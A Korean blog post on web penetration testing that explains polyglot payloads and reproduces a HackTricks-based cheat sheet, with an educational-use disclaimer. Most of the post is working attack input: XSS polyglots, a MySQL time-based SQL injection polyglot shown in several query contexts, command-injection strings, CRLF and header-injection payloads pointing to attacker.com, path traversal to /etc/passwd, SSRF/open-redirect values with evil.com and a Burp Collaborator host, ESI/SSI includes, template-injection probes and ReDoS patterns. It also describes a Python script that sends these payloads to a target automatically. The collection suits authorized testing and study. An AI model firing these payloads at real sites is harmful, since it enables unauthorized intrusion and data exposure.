about absolroot
home
🕸️

Web Pentesting - Polygloths and PoCs

Polygot는 다국어를 의미한다. 보안에서는 하나의 문장이 여러 언어 또는 다양한 구조에서 작동하는 형태의 구문을 의미한다. 입력의 반응을 보고 적은 테스트로도 공격 가능한 취약점을 빠르게 식별할 수 있다는 장점이 있다. Content-Type에 Dependency한 공격이나 DB 구조에 따라 달라지는 DB Injection 공격은 해당 방식으로 식별할 수 없다.
이 문서에 설명된 기술과 팁은 교육 및 정보 제공 목적으로만 제공되며, 불법적이거나 악의적인 활동에 사용해서는 안 됩니다. 불법적이거나 비윤리적인 활동을 묵인하거나 지지하지 않으며, 이 문서에 포함된 정보의 사용은 사용자의 책임과 재량에 따릅니다.

Example

XSS

예를 들면 XSS를 위해 다음 20개의 구문에서 모두 XSS를 통해 alert가 성공적으로 작동하는 구문을 만드는 챌린지가 있다. 빨간 배경은 필터링을 의미한다.

Contexts

<div class="{{payload}}"></div> <div class='{{payload}}'></div> <title>{{payload}}</title> <textarea>{{payload}}</textarea> <style>{{payload}}</style> <noscript>{{payload}}</noscript> <noembed>{{payload}}</noembed> <template>{{payload}}</template> <frameset>{{payload}}</frameset> <select><option>{{payload}}</option></select> <script type="text/template">{{payload}}</script> <!--{{payload}}--> <iframe src="{{payload}}"></iframe> " → <iframe srcdoc="{{payload}}"></iframe> " → < → <script>"{{payload}}"</script> </script → <\/script <script>'{{payload}}'</script> </script → <\/script <script>`{{payload}}`</script> </script → <\/script <script>//{{payload}}</script> </script → <\/script <script>/*{{payload}}*/</script> </script → <\/script <script>"{{payload}}"</script> </script → <\/script " → \"
HTML
복사
아래 구문은 위 모든 Context에서 작동하는 XSS 스크립트다.

Polygot Payload

javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//>
HTML
복사

SQL Injection

다음은 MySQL에서 어떤 부분에 인자가 들어가도 대부분 작동하게 만들어 Blackbox에서도 SQL Injection이 가능한지 여부를 판단하는 쿼리다.
IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/
SQL
복사

case 1

SELECT * FROM some_table WHERE double_quotes = "[Injection point]"
SQL
복사
SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"
SQL
복사

case 2

UPDATE some_table SET secret_value = '[Injection point]'
SQL
복사
UPDATE some_table SET secret_value = 'IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/'
SQL
복사

case3

SELECT 1,2,["Injection point"] FROM some_table WHERE ex = ample
SQL
복사
SELECT 1,2,IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/ FROM some_table WHERE ex = ample
SQL
복사
세 가지 case 모두에서 작동하며 이를 통해 SLEEP함수를 실행시키고 1초의 Sleep이 발생하면 SQL Injection이 가능하다는 뜻이 된다. (1초로는 판단이 어려우므로 5초 이상으로 설정해주는 것이 명확하다)

CheatSheet

다음은 Polygoths 뿐 아니라 일반적인 PoC들도 함께 포함하고 있다.
PoCs and Polygloths CheatSheet (HackTricks.xyz)
이 치트시트는 위 문서를 기반으로 작성됐으며 원작자의 허가를 받았다. 아래 사이트들은 Polygoth와 관련된 추가 정보들이다.
Multiple languages, one file: https://codegolf.stackexchange.com/qu...
Ten thousand security pitfalls: https://gynvael.coldwind.pl/download....
{{7*7}}[7*7] 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS} /*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/ IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(5))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(5)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(5)))OR"*/ %0d%0aLocation:%20http://attacker.com %3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E %3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E %0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E <br><b><h1>THIS IS AND INJECTED TITLE </h1> /etc/passwd ../../../../../../etc/hosts ..\..\..\..\..\..\etc/hosts /etc/hostname ../../../../../../etc/hosts C:/windows/system32/drivers/etc/hosts ../../../../../../windows/system32/drivers/etc/hosts ..\..\..\..\..\..\windows/system32/drivers/etc/hosts http://asdasdasdasd.burpcollab.com/mal.php \\asdasdasdasd.burpcollab.com/mal.php www.whitelisted.com www.whitelisted.com.evil.com https://google.com //google.com javascript:alert(1) (\\w*)+$ ([a-zA-Z]+)*$ ((a+)+)+$ <!--#echo var="DATE_LOCAL" --><!--#exec cmd="ls" --><esi:include src=http://attacker.com/>x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>> {{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7}${{<%[%'"}}%\ <xsl:value-of select="system-property('xsl:version')" /><esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include> " onclick=alert() a=" '"><img src=x onerror=alert(1) /> javascript:alert() javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//> -->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``> ">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg"> " onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)// ';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
Visual Basic
복사

Client Side Template Injection

Basic Tests

{{7*7}} [7*7]
Plain Text
복사

Polygloths

{{7*7}}[7*7]
Plain Text
복사

Command Injection

Basic Tests

;ls ||ls; |ls; &&ls; &ls; %0Als `ls`$(ls)
Plain Text
복사

Polygloths

1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS} /*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
Plain Text
복사

SQL Injection

Basic Tests

SLEEP(5) BENCHMARK(2000000,SHA1(0xDE7EC71F1)
HTML
복사

Polygoths

IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(5))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(5)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(5)))OR"*/
HTML
복사

CRLF

Basic Tests

%0d%0aLocation:%20http://attacker.com %3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E %3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E %0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
Plain Text
복사

Dangling Markup

Basic Tests

<br><b><h1>THIS IS AND INJECTED TITLE </h1>
Plain Text
복사

File Inclusion/Path Traversal

Basic Tests

/etc/passwd ../../../../../../etc/hosts ..\..\..\..\..\..\etc/hosts /etc/hostname ../../../../../../etc/hosts C:/windows/system32/drivers/etc/hosts ../../../../../../windows/system32/drivers/etc/hosts ..\..\..\..\..\..\windows/system32/drivers/etc/hosts http://asdasdasdasd.burpcollab.com/mal.php \\asdasdasdasd.burpcollab.com/mal.php
Plain Text
복사

Open Redirect / Server Side Request Forgery

Basic Tests

www.whitelisted.com www.whitelisted.com.evil.com https://google.com //google.com javascript:alert(1)
Plain Text
복사

ReDoS

Basic Tests

(\\w*)+$ ([a-zA-Z]+)*$ ((a+)+)+$
Plain Text
복사

Server Side Inclusion/Edge Side Inclusion

Basic Tests

<!--#echo var="DATE_LOCAL" --> <!--#exec cmd="ls" --> <esi:include src=http://attacker.com/> x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
Plain Text
복사

Polygloths

<!--#echo var="DATE_LOCAL" --><!--#exec cmd="ls" --><esi:include src=http://attacker.com/>x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
Plain Text
복사

Server Side Template Injection

Basic Tests

${{<%[%'"}}%\ {{7*7}} ${7*7} <%= 7*7 %> ${{7*7}} #{7*7}
Plain Text
복사

Polygloths

{{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7}${{<%[%'"}}%\
Plain Text
복사

XSLT Server Side Injection

Basic Tests

<xsl:value-of select="system-property('xsl:version')" /> <esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
Plain Text
복사

Polygloths

<xsl:value-of select="system-property('xsl:version')" /><esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
Plain Text
복사

XSS

Basic Tests

" onclick=alert() a=" '"><img src=x onerror=alert(1) /> javascript:alert()
Plain Text
복사

Polygloths

javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//> -->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``> jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e ">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg"> " onclick=alert(1)//<button onclick=alert(1)//> */ alert(1)// ';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT> javascript://'/</title></style></textarea></script>--><p" onclick=alert()//>*/alert()/* javascript://--></script></title></style>"/</textarea>*/<alert()/*' onclick=alert()//>a javascript://</title>"/</script></style></textarea/-->*/<alert()/*' onclick=alert()//>/ javascript://</title></style></textarea>--></script><a"//' onclick=alert()//>*/alert()/* javascript://'//" --></textarea></style></script></title><b onclick= alert()//>*/alert()/* javascript://</title></textarea></style></script --><li '//" '*/alert()/*', onclick=alert()// javascript:alert()//--></script></textarea></style></title><a"//' onclick=alert()//>*/alert()/* --></script></title></style>"/</textarea><a' onclick=alert()//>*/alert()/* /</title/'/</style/</script/</textarea/--><p" onclick=alert()//>*/alert()/* javascript://--></title></style></textarea></script><svg "//' onclick=alert()// /</title/'/</style/</script/--><p" onclick=alert()//>*/alert()/* -->'"/></sCript><svG x=">" onload=(co\u006efirm)``> <svg%0Ao%00nload=%09((pro\u006dpt))()// javascript:"/*'/*`/*\" /*</title></style></textarea></noscript></noembed></template></script/--><svg/onload=/*<html/*/onmouseover=alert()//> javascript:"/*\"/*`/*' /*</template></textarea></noembed></noscript></title></style></script>--><svg onload=/*<html/*/onmouseover=alert()//> javascript:`//"//\"//</title></textarea></style></noscript></noembed></script></template><svg/onload='/*--><html */ onmouseover=alert()//'>` %0ajavascript:`/*\"/*-->&lt;svg onload='/*</template></noembed></noscript></style></title></textarea></script><html onmouseover="/**/ alert(test)//'">` javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+document.location=`//localhost/mH`//'> javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=document.location=`//localhost/mH`//>
HTML
복사

Automation

Web Pentest-polygloths.py
12.5KB
직접 하나씩 하기보다는 타겟 페이지를 기반으로 PoC들을 자동으로 발송하도록 파이썬 코드를 구성했다.
read_data() 함수를 포함시켰으므로 많은 페이로드를 사용할 시 /payloads 폴더에 각 쿼리문 json파일을 생성해 저장해 활용하는 방식을 추천한다.
TARGET : 목표 페이지
DATA : 파라미터 인자
c : 쿠키 값
method : GET / POST
FALSE_PHRASE : 공격 실패 시 나타날 페이지 내 포함된 문자열

✓ 다른 [정리] 포스트

베트남 환전 왜 한국에서 하면 안될까? (한국 vs 공항 vs 금은방)
Travel
베트남 환전 왜 한국에서 하면 안될까? (한국 vs 공항 vs 금은방)
Travel
Load more
︎ 더 많은 게시물을 보려면
︎ 작성자가 궁금하면?
 2024. Absolroot all rights reserved.